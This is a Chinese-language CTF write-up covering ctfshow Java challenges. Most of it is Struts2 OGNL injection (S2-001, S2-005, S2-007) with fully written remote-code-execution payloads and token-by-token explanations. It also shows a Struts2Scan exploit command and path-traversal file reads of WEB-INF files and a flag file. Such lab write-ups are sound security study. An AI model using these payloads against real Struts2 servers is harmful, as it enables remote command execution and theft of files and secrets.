ctfshow里面关于java的题目都和struct2专题有关,另外有少量的代码审计的题目。出于效率的考虑,中间省略了很多struct2不同的漏洞,感觉网上的其他文章很多都只是拿poc去尝试,或者直接用工具,浅浅做几题尝试一下。
个人感觉其实这里的很多题目跟struct2有关的直接用工具也没什么不妥,都是原型漏洞
一点小小的java代码审计的题目也是增长了一点看java站的认识
本文使用的工具
Struts2Scan:
https://github.com/HatBoy/Struts2-Scan
这应该是经过改进之后的struct2利用工具,比较好用
参考文章:
CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现-CSDN博客
https://blog.csdn.net/uuzeray/article/details/136126951
web279-S2-001
加法表达式%{1+1}
成功执行
了解下OGNL表达式中三个符号 %,#,$ 的含义
%
的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#
的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$
主要是在Struts 2配置文件中,引用OGNL表达式 payload
// 获取tomcat路径%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}// 获取web路径%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}// 命令执行 env,flag就在其中password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=112345678
获取Tomcat路径
plaintext复制代码%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
%{"tomcatBinDir{
:
这是OGNL表达式的起始部分,表示我们要执行一个表达式。"+@java.lang.System@getProperty("user.dir")+"}
:
@java.lang.System
:指向Java的System类。getProperty("user.dir")
:调用System类的getProperty方法,获取当前工作目录。"tomcatBinDir{"+
和+"}
:字符串拼接,将获取的当前工作目录包装在字符串tomcatBinDir{}
中。 这个表达式的结果是获取Tomcat的bin目录,并将其输出为字符串格式。
获取Web路径
plaintext复制代码%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
%{
: 这是OGNL表达式的起始部分,表示我们要执行一个表达式。 #req=@org.apache.struts2.ServletActionContext@getRequest()
: #req
:定义一个变量req
。@org.apache.struts2.ServletActionContext@getRequest()
:调用Struts2的ServletActionContext类的getRequest方法,获取当前的HTTP请求对象。 #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()
: #response
:定义一个变量response
。#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()
:从Struts2的上下文中获取HTTP响应对象的Writer,用于输出内容。 #response.println(#req.getRealPath('/'))
: #req.getRealPath('/')
:调用请求对象的getRealPath方法,获取Web应用程序的根路径。#response.println()
:将获取到的路径输出到HTTP响应中。 #response.flush(),#response.close()}
: #response.flush()
:刷新响应的输出流。#response.close()
:关闭响应的输出流。 这个表达式的结果是获取Web应用程序的根路径,并将其输出到HTTP响应中。
执行env命令
plaintext复制代码password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=112345678
password=%{
: 这是OGNL表达式的起始部分,表示我们要执行一个表达式。password=
:设置请求参数password的值为表达式的结果。 #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start()
: #a
:定义一个变量a
。(new java.lang.ProcessBuilder(new java.lang.String[]{"env"}))
:创建一个新的ProcessBuilder对象,用于执行env
命令。.redirectErrorStream(true)
:将错误流重定向到标准输出流。.start()
:启动进程。 #b=#a.getInputStream()
: #b
:定义一个变量b
。#a.getInputStream()
:获取进程的输入流,用于读取命令的输出。 #c=new java.io.InputStreamReader(#b)
: #c
:定义一个变量c
。new java.io.InputStreamReader(#b)
:创建一个新的InputStreamReader对象,读取输入流。 #d=new java.io.BufferedReader(#c)
: #d
:定义一个变量d
。new java.io.BufferedReader(#c)
:创建一个新的BufferedReader对象,缓冲读取字符输入流。 #e=new char[50000]
: #e
:定义一个变量e
。new char[50000]
:创建一个新的字符数组,大小为50000,用于存储读取的数据。 #d.read(#e)
: #d.read(#e)
:读取输入流的数据到字符数组#e
中。 #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")
: #f
:定义一个变量f
。#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")
:从Struts2的上下文中获取HTTP响应对象。 #f.getWriter().println(new java.lang.String(#e))
: #f.getWriter().println(new java.lang.String(#e))
:将字符数组#e
中的数据转换为字符串,并输出到HTTP响应中。 #f.getWriter().flush(),#f.getWriter().close()}
: #f.getWriter().flush()
:刷新响应的输出流。#f.getWriter().close()
:关闭响应的输出流。 &username=1
: 设置请求参数username
的值为1
。 12345678
: 这是请求的密码部分,用于传递到服务器。 这个表达式的结果是执行env
命令,并将其输出写入HTTP响应。
F:\笔记\渗透\java\Struts2Scan-main>python Struts2Scan.py -u https://f1a59b35-e92a-409d-a534-8176594284a6.challenge.ctf.show/S2-005/example/HelloWorld.action -n S2-016 --exec
web280-S2-005
漏洞原理
先来了解下S2-003
Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#
来访问struts的对象,Struts2框架虽然过滤了#
来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果
影响版本:Struts 2.0.0 - Struts 2.0.11.2
再看S2-005,参考链接
S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003
影响版本:Struts 2.0.0 - Struts 2.1.8.1
poc
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))1
poc没有攻击成功
web281-S2-007
参考文章
https://cloud.tencent.com/developer/article/2148837
执行任意代码poc
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
传入可以利用的输入框(age)
web282-S2-008
参考文章
https://www.cnblogs.com/cute-puli/p/16454182.html
省略一部分作为stuct2的洞,因为网络上的都是拿着poc或者扫描器去打
春秋云镜 CVE-2017-5638
工具
java配合其他的一些普通漏洞
web298-java代码审计
servlet给出了web目录,login路由,用户名要是admin
/ctfshow/login?username=admin&password=ctfshow
web299-文件读取
考察java站代码的读取
右键查看源码
发现存在一个任意文件读取
/view-source?file=index.jsp
读到index.jsp的源码
<%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%>
读配置文件WEB-INF/web.xml
/view-source?file=WEB-INF/web.xml
读到源码如下
This is the description of my J2EE component This is the display name of my J2EE component ViewSourceServlet com.ctfshow.servlet.ViewSourceServlet This is the description of my J2EE component This is the display name of my J2EE component GetFlag com.ctfshow.servlet.GetFlag ViewSourceServlet /view-source GetFlag /getFlag index.jsp
直接访问/getFlag路径回显如下,这条路走不通
只能直接读class文件了
/view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
/view-source?file=../../../../../../../../fl3g
后续的话会继续学习一些java反序列化的内容,施工ing